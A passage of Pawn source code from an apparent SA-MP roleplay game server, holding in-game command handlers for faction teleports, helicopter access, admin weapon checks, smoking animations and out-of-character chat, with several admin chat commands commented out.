					SCM(playerid,COLOR_BLUE,"You are not a Cop.");
					return 1;
					}
				}
			}
			return 1;
		}
		if(!strcmp(cmd, "/pddown", true))
		{
			if(IsPlayerConnected(playerid))
			{
				if(GetPlayerState(playerid) == 1)
				{
					if(IsACop(playerid))
					{
						if(PlayerToPoint(1.0,playerid,242.3151,66.3457,1003.6406))
						{
							SetPlayerPos(playerid, 1524.7275,-1677.5446,5.8906);
							GameTextForPlayer(playerid, "~w~Police Departemnt Garage",5000,1);
							SetPlayerInterior(playerid,0);
							Mahal[playerid] = 9999;
							TooHouse[playerid] = 9999;
							TooBiz[playerid] = 9999;
						}
					}
					else
					{
					SCM(playerid,COLOR_BLUE,"You are not a Cop.");
					return 1;
					}
				}
			}
			return 1;
		}
		if(strcmp(cmd, "/up", true) == 0)
		{
			if(PlayerInfo[playerid][pMember] == 4 || PlayerInfo[playerid][pLeader] == 4)//Medic heli up
			{
				if (PlayerToPoint(5, playerid, 1615.0603,1815.7771,10.8203))
				{
					SetPlayerPos(playerid, 1607.4210,1787.6932,30.4688);
					SetPlayerInterior(playerid, 0);
					return 1;
				}
				else {return 1;}
			}
			/*
			if(PlayerInfo[playerid][pMember] == 20 || PlayerInfo[playerid][pLeader] == 20)//SFPD heli up
			{
				if (PlayerToPoint(5, playerid, -1606.268066,672.061706,-4.906250))
				{
					SetPlayerPos(playerid, -1639.474853,716.886535,48.937500);
					SetPlayerInterior(playerid, 0);
					return 1;
				}
				else {return 1;}
			}
			*/
			else if(PlayerInfo[playerid][pMember] == 10 || PlayerInfo[playerid][pLeader] == 10)//TAXI heli up one
			{
				if (PlayerToPoint(5, playerid, 960.297363,1784.037841,8.851562))
				{
					SetPlayerPos(playerid, 945.962463,1790.548828,15.794094);
					SetPlayerInterior(playerid, 0);
					return 1;
				}
				else {return 1;}
			}
			else if(PlayerInfo[playerid][pMember] == 15 || PlayerInfo[playerid][pLeader] == 15)// Storm Heli Up
			{
				if (PlayerToPoint(5, playerid, 2793.181152,-1080.431518,30.718750))
				{
					SetPlayerPos(playerid, 2790.662597,-1088.139526,94.187072);
					SetPlayerInterior(playerid, 0);
					return 1;
				}
				else {return 1;}
			}
			if(PlayerInfo[playerid][pClan] == 1)//TT heli up
			{
				if (PlayerToPoint(5, playerid, 2218.994628,-1179.321777,25.890625))
				{
					SetPlayerPos(playerid, 2235.440429,-1184.549194,33.531250);
					SetPlayerInterior(playerid, 0);
					return 1;
				}
				else {return 1;}
			}
			if(PlayerInfo[playerid][pClan] == 2)//GG heli up (edit)
			{
				if (PlayerToPoint(5, playerid, 1649.305664,-1656.475585,22.515625))
				{
					SetPlayerPos(playerid, 1654.223388,-1643.526855,83.781250);
					SetPlayerInterior(playerid, 0);
					return 1;
				}
				else {return 1;}
			}
			 else { return 1;}
	 }
		if(strcmp(cmd, "/down", true) == 0)
		{
		/*
			   if(PlayerInfo[playerid][pMember] == 20 || PlayerInfo[playerid][pLeader] == 20)
			{
			// Edit SFPD //
				if (PlayerToPoint(5, playerid, -1639.474853,716.886535,48.937500)) // SFPD Heli Down
				{
					SetPlayerPos(playerid, -1606.268066,672.061706,-4.906250);
					SetPlayerInterior(playerid, 0);
					return 1;
				}
				else {return 1;}
			}
			*/
			if(PlayerInfo[playerid][pMember] == 4 || PlayerInfo[playerid][pLeader] == 4)
			{
				if (PlayerToPoint(5, playerid, 1607.4210,1787.6932,30.4688)) //Medic heli down
				{
					SetPlayerPos(playerid, 1615.0603,1815.7771,10.8203);
					SetPlayerInterior(playerid, 0);
					return 1;
				}
				else {return 1;}
			}
			 if(PlayerInfo[playerid][pClan] == 1)
			{
				if (PlayerToPoint(5, playerid, 2235.440429,-1184.549194,33.531250)) //TT Heli Down
				{
					SetPlayerPos(playerid, 2218.994628,-1179.321777,25.890625);
					SetPlayerInterior(playerid, 0);
					return 1;
				}
				else {return 1;}
			}
			if(PlayerInfo[playerid][pMember] == 15 || PlayerInfo[playerid][pLeader] == 15)
			{
				if (PlayerToPoint(5, playerid, 2790.662597,-1088.139526,94.187072)) // Storm Heli Down
				{
					SetPlayerPos(playerid, 2793.181152,-1080.431518,30.718750);
					SetPlayerInterior(playerid, 0);
					return 1;
				}
				else {return 1;}
			}

				 if(PlayerInfo[playerid][pClan] == 2)
			{
				if (PlayerToPoint(5, playerid, 1654.223388,-1643.526855,83.781250)) //GG Heli Down (Edit)
				{
					SetPlayerPos(playerid, 1649.305664,-1656.475585,22.515625);
					SetPlayerInterior(playerid, 0);
					return 1;
				}
				else {return 1;}
			}

			else if(PlayerInfo[playerid][pMember] == 10 || PlayerInfo[playerid][pLeader] == 10)
			{
			   if (PlayerToPoint(5, playerid, 945.962463,1790.548828,15.794094))
				{
					SetPlayerPos(playerid, 960.297363,1784.037841,8.851562);
					SetPlayerInterior(playerid, 0);
					return 1;
				}
				else {return 1;}
			}
		   else { return 1; }
		}





		if(strcmp(cmd, "/checkweapons", true) == 0)
		{
			if (PlayerInfo[playerid][pAdmin] <= 1 && PINFO[playerid][pSponser] == 0)
			{
				SendMessage(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
				return 1;
			}
			tmp = strtok(cmdtext,idx);
			if (!strlen(tmp))
			{
				SendMessage(playerid, COL_SYN, "Syntax: /checkweapons <Playerid/PartOfName>");
				return 1;
			}
			giveplayerid = ReturnUser6(tmp);
			if (giveplayerid == INVALID_PLAYER_ID)
			{
				SendMessage(playerid, COLOR_GREY, "That player is offline");
				return 1;
			}
			new sweapon, sammo;
			GetPlayerName(giveplayerid, giveplayer, sizeof(giveplayer));
			format(string, sizeof(string), "%s has the following weapons:", giveplayer);
			SendMessage(playerid, COLOR_LIGHTRED, string);
			for (new i=0; i<13; i++)
			{
			GetPlayerWeaponData(giveplayerid, i, sweapon, sammo);
				if(sweapon != 0)
				{
					new mywep[256];
					GetWeaponName(sweapon,mywep,sizeof(mywep));
					format(string, sizeof(string), "Slotid: %d Name: %s Ammo: %d", i, mywep, sammo);
					SendMessage(playerid, COLOR_MAMAD, string);
				}
			}
			return 1;
		}
	//////////////////////////////////////////////////////////////////////////////////////////
		if(!strcmp(cmd, "/vehid", true))
		{
			if(IsPlayerConnected(playerid))
			{
					if(PINFO[playerid][pAdmin] < 5) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
					if(!IsPlayerInAnyVehicle(playerid)) return SCM(playerid, COLOR_YELLOW2, "Error: You should sit in a vehicle.");
					format(string, sizeof(string), "Vehicle ID: %d, Vehicle ModelID: %d", GetPlayerVehicleID(playerid),GetVehicleModel(GetPlayerVehicleID(playerid)));
					SendMessage(playerid, COLOR_SINARANG, string);
			}
		return 1;
		}


		if(strcmp(cmd, "/smoke", true) == 0)
		{
		if(PlayerHandsCuffed[playerid] == 1)
		{
		SCM(playerid,COLOR_LIGHTRED,"You can't smoking when your hands are cuffed.");
		return 1;
		}
			if(IsPlayerConnected(playerid))
			{
				if(gPlayerLogged[playerid] == 0)
				{
					SendMessage(playerid, COLOR_GREY, "You need to login first.");
					return 1;
				}
					if(PlayerInfo[playerid][pLighter] == 0)
					{
						SendMessage(playerid, COLOR_Good, "You haven't a lighter to light up your cigarette.");
						return 1;
					}
					if(PlayerInfo[playerid][pCigarettes] == 0)
					{
						SendMessage(playerid, COLOR_Good, "You haven't a cigarette to smoke.");
						return 1;
					}
					if(IsSmoking[playerid] == 1)
					{
					  SCM(playerid,COLOR_Good,"you are already smoking, use /dropcig first");
					  return 1;
					}
						PlayerInfo[playerid][pLighter] -= 1;
						SaveKonVal(playerid, "pLighter", PINFO[playerid][pLighter]);
						PlayerInfo[playerid][pCigarettes] -= 1;
						SaveKonVal(playerid, "pCigarettes", PINFO[playerid][pCigarettes]);
						GetPlayerName(playerid, sendername, sizeof(sendername));
						IsSmoking[playerid] = 60;
						format(string, sizeof(string), "%s takes out %s cigarette and lighter from %s pocket and light %s cigarette.", sendername, (PINFO[playerid][pSex]==1)?("his"):("her"), (PINFO[playerid][pSex]==1)?("his"):("her"), (PINFO[playerid][pSex]==1)?("his"):("her"));
						ProxDetector(30.0, playerid, string, COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE);
						SendMessage(playerid, COLOR_visit, "TIP: You can /dropcig anytime you want.");
						UsingSmokeAnim[playerid] = 1;
						LoopingAnim(playerid,"SMOKING","M_smk_in",3.0,0,0,0,0,4500);
						SetPlayerSpecialAction(playerid,SPECIAL_ACTION_SMOKE_CIGGY);
						SCM(playerid,COLOR_visit, "Now press left Click on Mouse to smoking");
						SCM(playerid,COLOR_visit, "Or use a smoke anim (/smoking)");
						IsSmoking[playerid] = 1;
						return 1;
			}
			return 1;
		}
		if(!strcmp(cmd, "/dropcig", true))
		{
		if(PlayerHandsCuffed[playerid] == 1)
		{
		SCM(playerid,COLOR_LIGHTRED,"You can't drop cigarette When Your hands are cuffed.");
		return 1;
		}
			if(IsPlayerConnected(playerid))
			{
				if(IsSmoking[playerid] == 1)
				{
					IsSmoking[playerid] = 0;
					if(UsingSmokeAnim[playerid] == 1)
					{
					 SetPlayerSpecialAction(playerid,SPECIAL_ACTION_NONE);
					 UsingSmokeAnim[playerid] = 0;
					 SCM(playerid,COLOR_LIGHTRED, "You Droped your cigarette.");
					}
				}
				else
				{
					SendMessage(playerid, COLOR_GREY, "You are not even smoking.");
					return 1;
				}
			}
			return 1;
		}
		if(strcmp(cmd, "/saveaccounts", true) == 0)
		{
			if (PlayerInfo[playerid][pAdmin] >= 13)
			{
				//GameTextForPlayer(playerid, "~w~All accounts in server saved.", 4000, 3);
				SCM(playerid, COLOR_YELLOW2, "All accounts was saved.");
				SaveAccounts();
			 new sttrr[256];
			 format(sttrr,256,"{FFFFFF}Admin %s was saved all accounts in server.", PINFO[playerid][pName]);
			 AdminWarn(sttrr);
			}
			else
			{
				SendMessage(playerid, COLOR_YELLOW2, "Error: You are not authorized to use this command.");
			}
			return 1;
		}
		//----------------------------------[ooc]-----------------------------------------------
/*
		if(strcmp(cmd, "/unbanip", true) == 0)
		{
		if(PINFO[playerid][pAdmin] < 10) return SCM(playerid, COLOR_YELLOW2, "Error: You are not authorized to use this command.");
		new result[145];
		result = strtokEx(cmdtext, idx);
		if(!strlen(result))
		{
			SendMessage(playerid, COL_SYN, "Syntax: /unbanip <IP>");
			return 1;
		}
		new szCmd[64];
		format(szCmd, sizeof(szCmd), "unbanip %s", result);
		SendRconCommand(szCmd);
//		new string[512];
		format(string, sizeof(string), "[Admin-Warn]: {FFFFFF}Admin %s unbanned ip address %s",PlayerInfo[playerid][pName], result);
		ABroadCast(COLOR_AdminWarn,string,1);
		return 1;
		}*/
		/*
			if(strcmp(cmd, "/Glock", true) == 0 || strcmp(cmd, "/globalchatlock", true) == 0)
	{
	if(PlayerInfo[playerid][pAdmin] < 6) return SCM(playerid, COLOR_YELLOW2, "Error: You're not an admin!");
	if(LockAcc[playerid] == 1 &&PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");
	if(GGmute == 1) return SCM(playerid, COLOR_YELLOW2, "Error: Globalchat was already locked.");
	new str[512];
	format(string, sizeof(string), "{FFFFFF}Admin %s has been locked GlobalChat.",PlayerInfo[playerid][pName]);
	AdminWarn(string);
	GGmute = 1;
	SendMessage(playerid, COLOR_RED, "GlobalChat was locked.");
	return 1;
	}
	*/
	/*
	if(strcmp(cmd, "/Gunlock", true) == 0 || strcmp(cmd, "/globalchatunlock", true) == 0)
	{
	if(PlayerInfo[playerid][pAdmin] < 6) return SCM(playerid, COLOR_YELLOW2, "Error: You're not an admin!");
	if(LockAcc[playerid] == 1 &&PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");
	if(GGmute == 0) return SCM(playerid, COLOR_YELLOW2, "Globalchat was already unlocked.");
	new str[512];
	format(string, sizeof(string), "{FFFFFF}Admin %s has been unlocked GlobalChat.",PlayerInfo[playerid][pName]);
	AdminWarn(string);
	GGmute = 0;
	SendMessage(playerid, COLOR_RED, "Globalchat was unlocked.");
	return 1;
	}
	*/
	/*
	if(strcmp(cmd, "/globalchatmute", true) == 0 || strcmp(cmd, "/gmute", true) == 0)
	{
	   if(IsPlayerConnected(playerid))
	   {
		  if(PlayerInfo[playerid][pAdmin] < 6)
		  {
		  SCM(playerid,COLOR_GREEN,"Error: You are not authorized to use that command.");
		  return 1;
		  }
			if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");
		  tmp = strtok(cmdtext, idx);
		  if(!strlen(tmp))
		  {
			 SendClientMessage(playerid, COL_SYN, "Syntax: /GMute <playerid/PartOfName> <1/0>");
			 return 1;
		  }
		  new para1;
		  new level;
		  para1 = ReturnUser6(tmp);
		  tmp = strtok(cmdtext, idx);
		  level = strval(tmp);
			 if(IsPlayerConnected(para1))
			 {
				new name[40];
				GetPlayerName(para1, name, sizeof(name));
				GetPlayerName(playerid, sendername, sizeof(sendername));
			 if(level == 1)
			 {
				PlayerInfo[para1][pGMute] = 1;
				SaveKonVal(para1, "pGMute", 1);
				new string[512];
				format(string, sizeof(string), "Admin %s was muted you in global chat.", sendername);
				SendClientMessage(para1, COLOR_WHITE, string);
				new str[512];
				format(str, sizeof(str), "{FFFFFF}Admin %s muted %s in globalchat.",sendername,name);
				AdminWarn(str);
				}
				else if(level == 0)
				{
				PlayerInfo[para1][pGMute] = 0;
				SaveKonVal(para1, "pGMute", 0);
				new string[512];
				format(string, sizeof(string), "Admin %s was unmuted you in global chat.", sendername);
				SendClientMessage(para1, COLOR_WHITE, string);

				new str[512];
				format(str, sizeof(str), "{FFFFFF}Admin %s unmuted %s in globalchat.",sendername,name);
				AdminWarn(str);
				}
				else {SendClientMessage(para1, COLOR_RED, "Wrong value!");}
			 }
				else {SCM(playerid, COLOR_AdminWarn, "Player is not connected");}
	   }
	   return 1;
	}
	*/
	/*
		if(strcmp(cmd, "/g", true) == 0 || strcmp(cmd, "/GlobalChaT", true) == 0)
		{
			if(PlayerInfo[playerid][pGMute] == 1) return SCM(playerid, COLOR_YELLOW2, "Error: You're muted in GlobalChat.");
			if(GGmute == 1) return SCM(playerid, COLOR_YELLOW2, "Error: GlobalChat is locked.");
			if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");
			if(IsPlayerConnected(playerid))
			{
				if(gPlayerLogged[playerid] == 0)
				{
					SendMessage(playerid, COLOR_RED, "Not loggened in!");
					return 1;
				}
				if (PlayerInfo[playerid][pAdmin] < 0)
				{
					SendMessage(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command");
					return 1;
				}
				*/
				/*
				for(new i = 0; i < MAX_PLAYERS; i++)
			   {
			 new acount = 0;
			 if(PINFO[i][pAdmin] >= 1)
			 {
			 acount++;
			 }
			 if(acount == 0)
			 {
			 SCM(playerid, COLOR_YELLOW2, "Error: There isn't any active admin to talk in globalchat.");
			 return 1;
			 }
			   }


			   

				new count = 0;
				for(new h = 0; h < Akharish; h++)
				{
					if(IsPlayerConnected(h))
					{
						if(PlayerInfo[h][pAdmin] == 1)
						{
							count++;
						}
						if(PlayerInfo[h][pAdmin] == 2)
						{
							count++;
						}
						if(PlayerInfo[h][pAdmin] == 3)
						{
							count++;
						}
						if(PlayerInfo[h][pAdmin] == 4)
						{
							count++;
						}
						if(PlayerInfo[h][pAdmin] == 5)
						{
							count++;
						}
						if(PlayerInfo[h][pAdmin] == 6)
						{
							count++;
						}
						if(PlayerInfo[h][pAdmin] == 7)
						{
							count++;
						}
						if(PlayerInfo[h][pAdmin] == 8)
						{
							count++;
						}
						if(PlayerInfo[h][pAdmin] == 9)
						{
							count++;
						}
						if(PlayerInfo[h][pAdmin] == 10)
						{
							count++;
						}
						if(PlayerInfo[h][pAdmin] == 11)
						{
							count++;
						}
						if(PlayerInfo[h][pAdmin] == 12)
						{
							count++;
						}
						if(PlayerInfo[h][pAdmin] == 13)
						{
							count++;
						}
						if(PlayerInfo[h][pAdmin] == 14)
						{
							count++;
						}
						if(count == 0)
					   {
						SendMessage(playerid,COLOR_YELLOW2,"Error: There isn't any active admin to chat in GlobalChat.");
					   }
					   if(count >= 1)
					   {
					   
					
					
				GetPlayerName(playerid, sendername, sizeof(sendername));
				new result[145];
				//if(warnt[playerid] == 1) return SendMessage(playerid, COLOR_GRAD2, "Wait 10 seconds!");
				result = strtokEx(cmdtext, idx);
				//warnt[playerid] = 1;
				//SetTimerEx("warnt", 10000, 0, "d", playerid);

		if(buyviparmor[playerid] == true)
	 {
	SendClientMessage(playerid, COLOR_MAMAD, "Later you were chated in 15 secounds !");
		return 1;
	 }
	 buyviparmor[playerid] = true;
	SetTimerEx("BUYVIPARMOR", 15000, false, "i", playerid);*/
	/*
				if(!strlen(result))
				{
					SendMessage(playerid, COL_SYN, "Syntax: (/g)lobalchat <Text>");
					return 1;
				}
				*/
			//	if(PlayerInfo[playerid][pAdmin] < 1)
			//	{
			//	if(PlayerInfo[playerid][pLeader] > 0){format(string, sizeof(string), "{FFFFFF}GlobalChat ((Leader{FFFFFF} %s:  {ffff00}%s  {FFFFFF} ))" , sendername, result);}
			//	else if(PlayerInfo[playerid][pLeader] == 0){format(string, sizeof(string), "{FFFFFF}GlobalChat ((Palyer {FFFFFF}%s:  {ffff00}%s {FFFFFF} ))" , sendername, result);}
			//	else if(PlayerInfo[playerid][pAdmin] == 0 && PlayerInfo[playerid][pLeader] == 1){format(string, sizeof(string), "{FFFFFF}GlobalChat ((PalyerDepart {FFFFFF}%s:  {ffff00}%s {FFFFFF} ))" , sendername, result);}
			//	else if(PlayerInfo[playerid][pAdmin] == 0 && PlayerInfo[playerid][pLeader] == 7){format(string, sizeof(string), "{FFFFFF}GlobalChat ((CityMayor {FFFFFF}%s:  {ffff00}%s {FFFFFF} ))" , sendername, result);}
			//	else if(PlayerInfo[playerid][pAdmin] == 0 && PlayerInfo[playerid][pMember] == 7){format(string, sizeof(string), "{C60000}(({FFFFFF}%s: {C60000}%s ))" , sendername, result);}
			//	else if(PlayerInfo[playerid][pLeader] == 1){format(string, sizeof(string), "{FFFFFF}GlobalChat (({171DFF}PoliceDepartment leader {FFFFFF}%s:  {ffff00}%s {FFFFFF} ))" , sendername, result);}
			//	else if(PlayerInfo[playerid][pLeader] == 2){format(string, sizeof(string), "{FFFFFF}GlobalChat (({171DFF}FBI Leader {FFFFFF}%s:  {ffff00}%s {FFFFFF} ))" , sendername, result);}
			//	else if(PlayerInfo[playerid][pLeader] == 3){format(string, sizeof(string), "{FFFFFF}GlobalChat (({171DFF}NationalGuard Leader{FFFFFF}%s:  {ffff00}%s {FFFFFF} ))" , sendername, result);}
			//	else if(PlayerInfo[playerid][pLeader] == 4){format(string, sizeof(string), "{FFFFFF}GlobalChat (({FF0000}Medic Leader {FFFFFF}%s:  {ffff00}%s {FFFFFF} ))" , sendername, result);}
			//	else if(PlayerInfo[playerid][pLeader] == 5){format(string, sizeof(string), "{FFFFFF}GlobalChat (({5D7E8D}SilenceMafia Leader {FFFFFF}%s:  {ffff00}%s {FFFFFF} ))" , sendername, result);}
			//	else if(PlayerInfo[playerid][pLeader] == 6){format(string, sizeof(string), "{FFFFFF}GlobalChat (({3E3535}TheKillers Leader {FFFFFF}%s:  {ffff00}%s {FFFFFF} ))" , sendername, result);}
			//	else if(PlayerInfo[playerid][pLeader] == 7){format(string, sizeof(string), "{FFFFFF}GlobalChat (({BBF060}CityMayor {FFFFFF}%s:  {ffff00}%s {FFFFFF} ))" , sendername, result);}
			//	else if(PlayerInfo[playerid][pLeader] == 8){format(string, sizeof(string), "{FFFFFF}GlobalChat (({8E2323}Hitman Leader {FFFFFF}%s:  {ffff00}%s {FFFFFF} ))" , sendername, result);}
			//	else if(PlayerInfo[playerid][pLeader] == 9){format(string, sizeof(string), "{FFFFFF}GlobalChat (({825B8C}NewsReporter Leader {FFFFFF}%s:  {ffff00}%s {FFFFFF} ))" , sendername, result);}
	//		.	else if(PlayerInfo[playerid][pLeader] == 10){format(string, sizeof(string), "{FFFFFF}GlobalChat (({FFFF00}TaxiDrivers Leader {FFFFFF}%s:  {ffff00}%s {FFFFFF} ))" , sendername, result);}
	///	else if(PlayerInfo[playerid][pLeader] == 11){format(string, sizeof(string), "{FFFFFF}GlobalChat (({0974C6}SchoolInstructor Leader {FFFFFF}%s:  {ffff00}%s {FFFFFF} ))" , sendername, result);}
	//			else if(PlayerInfo[playerid][pLeader] == 12){format(string, sizeof(string), "{FFFFFF}GlobalChat (({19AF23}DangerousTigers Leader {FFFFFF}%s:  {ffff00}%s {FFFFFF} ))" , sendername, result);}
	//			else if(PlayerInfo[playerid][pLeader] == 13){format(string, sizeof(string), "{FFFFFF}GlobalChat (({FFBA00}LegendaryMen  Leader {FFFFFF}%s:  {ffff00}%s {FFFFFF} ))" , sendername, result);}
	//			else if(PlayerInfo[playerid][pLeader] == 14){format(string, sizeof(string), "{FFFFFF}GlobalChat (({B32CF6}Ballas Leader{FFFFFF}%s:  {ffff00}%s {FFFFFF} ))" , sendername, result);}
	//			else if(PlayerInfo[playerid][pLeader] == 15){format(string, sizeof(string), "{FFFFFF}GlobalChat (({11E8E8}Storm Leader {FFFFFF}%s:  {ffff00}%s {FFFFFF} ))" , sendername, result);}
	//			else if(PlayerInfo[playerid][pLeader] == 16){format(string, sizeof(string), "{FFFFFF}GlobalChat (({F9F7CE}TowTruck Leader {FFFFFF}%s:  {ffff00}%s {FFFFFF} ))" , sendername, result);}
	//		//	else {format(string, sizeof(string), "{FFFFFF}GlobalChat ((Nope[Membery] %s: {ffff00}%s {FFFFFF}))" , sendername, result);}
			//	OOCOff(COLOR_AdminWarn,string);
			//	printf("%s", string);
			//	return 1;
				//}
				/*
				if(PlayerInfo[playerid][pAdmin] < 1){format(string, sizeof(string), "{FFFFFF}[{0000FF}GlobalChat{FFFFFF}] Player{FFFFFF} %s: {ffff00}%s {FFFFFF}" , sendername, result);}
				else if(PlayerInfo[playerid][pAdmin] == 0){format(string, sizeof(string), "{FFFFFF}[{0000FF}GlobalChat{FFFFFF}] Player {FFFFFF}%s: {ffff00}%s {FFFFFF}" , sendername, result);}
			//	else if(PlayerInfo[playerid][pAdmin] == 0){format(string, sizeof(string), "{FFFFFF}GlobalChat ((Palyer {FFFFFF}%s:  {ffff00}%s {FFFFFF} ))" , sendername, result);}
			//	else if(PlayerInfo[playerid][pAdmin] == 0 && PlayerInfo[playerid][pLeader] == 7){format(string, sizeof(string), "{FFFFFF}GlobalChat ((CityMayor {FFFFFF}%s:  {ffff00}%s {FFFFFF} ))" , sendername, result);}
			//	else if(PlayerInfo[playerid][pAdmin] == 0 && PlayerInfo[playerid][pMember] == 7){format(string, sizeof(string), "{C60000}(({FFFFFF}%s: {C60000}%s ))" , sendername, result);}
				else if(PlayerInfo[playerid][pAdmin] == 1){format(string, sizeof(string), "{FFFFFF}[{0000FF}GlobalChat{FFFFFF}] {FF00FF}Admin {FFFFFF}%s{FFFFFF}: {FF00FF}%s" , sendername, result);}
				else if(PlayerInfo[playerid][pAdmin] == 2){format(string, sizeof(string), "{FFFFFF}[{0000FF}GlobalChat{FFFFFF}] {FF00FF}Admin {FFFFFF}%s{FFFFFF}: {FF00FF}%s" , sendername, result);}
				else if(PlayerInfo[playerid][pAdmin] == 3){format(string, sizeof(string), "{FFFFFF}[{0000FF}GlobalChat{FFFFFF}] {FF00FF}Admin {FFFFFF}%s{FFFFFF}: {FF00FF}%s" , sendername, result);}
				else if(PlayerInfo[playerid][pAdmin] == 4){format(string, sizeof(string), "{FFFFFF}[{0000FF}GlobalChat{FFFFFF}] {FF00FF}Admin {FFFFFF}%s{FFFFFF}: {FF00FF}%s" , sendername, result);}
				else if(PlayerInfo[playerid][pAdmin] == 5){format(string, sizeof(string), "{FFFFFF}[{0000FF}GlobalChat{FFFFFF}] {FF00FF}Admin {FFFFFF}%s{FFFFFF}: {FF00FF}%s" , sendername, result);}
				else if(PlayerInfo[playerid][pAdmin] == 6){format(string, sizeof(string), "{FFFFFF}[{0000FF}GlobalChat{FFFFFF}] {FF9900}Supervisor {FFFFFF}%s{FFFFFF}: {FF9900}%s" , sendername, result);}
				else if(PlayerInfo[playerid][pAdmin] == 7){format(string, sizeof(string), "{FFFFFF}[{0000FF}GlobalChat{FFFFFF}] {FF6600}HosterLvl (1) {FFFFFF}%s{FFFFFF}: {FF6600}%s" , sendername, result);}
				else if(PlayerInfo[playerid][pAdmin] == 8){format(string, sizeof(string), "{FFFFFF}[{0000FF}GlobalChat{FFFFFF}] {FF6600}HosterLvl (3) {FFFFFF}%s{FFFFFF}: {FF6600}%s" , sendername, result);}
				else if(PlayerInfo[playerid][pAdmin] == 9){format(string, sizeof(string), "{FFFFFF}[{0000FF}GlobalChat{FFFFFF}] {FF6600}HosterLvl (6) {FFFFFF}%s{FFFFFF}: {FF6600}%s" , sendername, result);}
				else if(PlayerInfo[playerid][pAdmin] == 10){format(string, sizeof(string), "{FFFFFF}[{0000FF}GlobalChat{FFFFFF}] {FF3300}CM Assistant {FFFFFF}%s{FFFFFF}: {FF3300}%s" , sendername, result);}
				else if(PlayerInfo[playerid][pAdmin] == 11){format(string, sizeof(string), "{FFFFFF}[{0000FF}GlobalChat{FFFFFF}] {FF0000}CM Manager {FFFFFF}%s{FFFFFF}: {FF0000}%s" , sendername, result);}
				else if(PlayerInfo[playerid][pAdmin] == 12){format(string, sizeof(string), "{FFFFFF}[{0000FF}GlobalChat{FFFFFF}] {9080BE}CM Founder {C60000}%s{FFFFFF}: {C60000}%s" , sendername, result);}
				else if(PlayerInfo[playerid][pAdmin] == 13){format(string, sizeof(string), "{FFFFFF}[{0000FF}GlobalChat{FFFFFF}] {C60000}CM Scripter {C60000}%s{FFFFFF}: {C60000}%s" , sendername, result);}
				else {format(string, sizeof(string), "{FFFFFF}[{0000FF}GlobalChat{FFFFFF}] %s: {ffff00}%s {FFFFFF}" , sendername, result);}
				OOCOff(COLOR_AdminWarn,string);
				printf("%s", string);
			}
			return 1;
		}
		}
		}
		}
		*/
		if(strcmp(cmd, "/ooc", true) == 0 || strcmp(cmd, "/o", true) == 0)
		{
			if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");
			if(IsPlayerConnected(playerid))
			{
				if(gPlayerLogged[playerid] == 0)
				{
					SendMessage(playerid, COLOR_RED, "Not loggened in!");
					return 1;
				}
				if (PlayerInfo[playerid][pAdmin] == 0)
				{
					SendMessage(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command");
					return 1;
				}
				if(PlayerInfo[playerid][pAdmin] == 7||PlayerInfo[playerid][pAdmin] == 8||PlayerInfo[playerid][pAdmin] == 9) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command.");
				GetPlayerName(playerid, sendername, sizeof(sendername));
				new result[145];
				result = strtokEx(cmdtext, idx);
				if(!strlen(result))
				{
					SendMessage(playerid, COL_SYN, "Syntax: (/o)oc <Text>");
					return 1;
				}
				if(PINFO[playerid][pAdmin]<12)CensorText(result);
				if(PlayerInfo[playerid][pAdmin] == 9){format(string, sizeof(string), "** {C60000}%s: {FFFFFF}%s {FF0000}**" , sendername, result);}
				else if(PlayerInfo[playerid][pAdmin] == 8){format(string, sizeof(string), "** {C60000}%s: {FFFFFF}%s {FF0000}**" , sendername, result);}
				else if(PlayerInfo[playerid][pAdmin] == 7){format(string, sizeof(string), "** {C60000}%s: {FFFFFF}%s {FF0000}**" , sendername, result);}
				else if(PlayerInfo[playerid][pAdmin] == 10){format(string, sizeof(string), "** {C60000}%s: {FFFFFF}%s {FF0000}**" , sendername, result);}
				else {format(string, sizeof(string), "** {C60000}%s: {FFFFFF}%s {FF0000}**" , sendername, result);}
				OOCOff(COLOR_SINAGHERMEZ,string);
				printf("%s", string);
			}
			return 1;
		}
		
		
		
		
		
				if(strcmp(cmd, "/ao", true) == 0)
		{
			if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");
			if(IsPlayerConnected(playerid))
			{
				if(gPlayerLogged[playerid] == 0)
				{
					SendMessage(playerid, COLOR_RED, "Not loggened in!");
					return 1;
				}
				if (PlayerInfo[playerid][pAdmin] < 12)
				{
					SendMessage(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command");
					return 1;
				}
				GetPlayerName(playerid, sendername, sizeof(sendername));
				new result[145];
				result = strtokEx(cmdtext, idx);
				if(!strlen(result))
				{
					SendMessage(playerid, COL_SYN, "Syntax: /ao <Text>");
					return 1;
				}
                format(string, sizeof(string), "** {C60000}AdmBot: {FFFFFF}%s {FF0000}**" , result);
				OOCOff(COLOR_SINAGHERMEZ,string);
				printf("AdmBot ooc by %s: %s", sendername, string);
			}
			return 1;
		}
		
		
		
		
		
		
/*
		if(strcmp(cmd, "/ServerNews", true) == 0 || strcmp(cmd, "/Sn", true) == 0)
		{
			if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");
			if(IsPlayerConnected(playerid))
			{
				if(gPlayerLogged[playerid] == 0)
				{
					SendMessage(playerid, COLOR_RED, "Not loggened in!");
					return 1;
				}
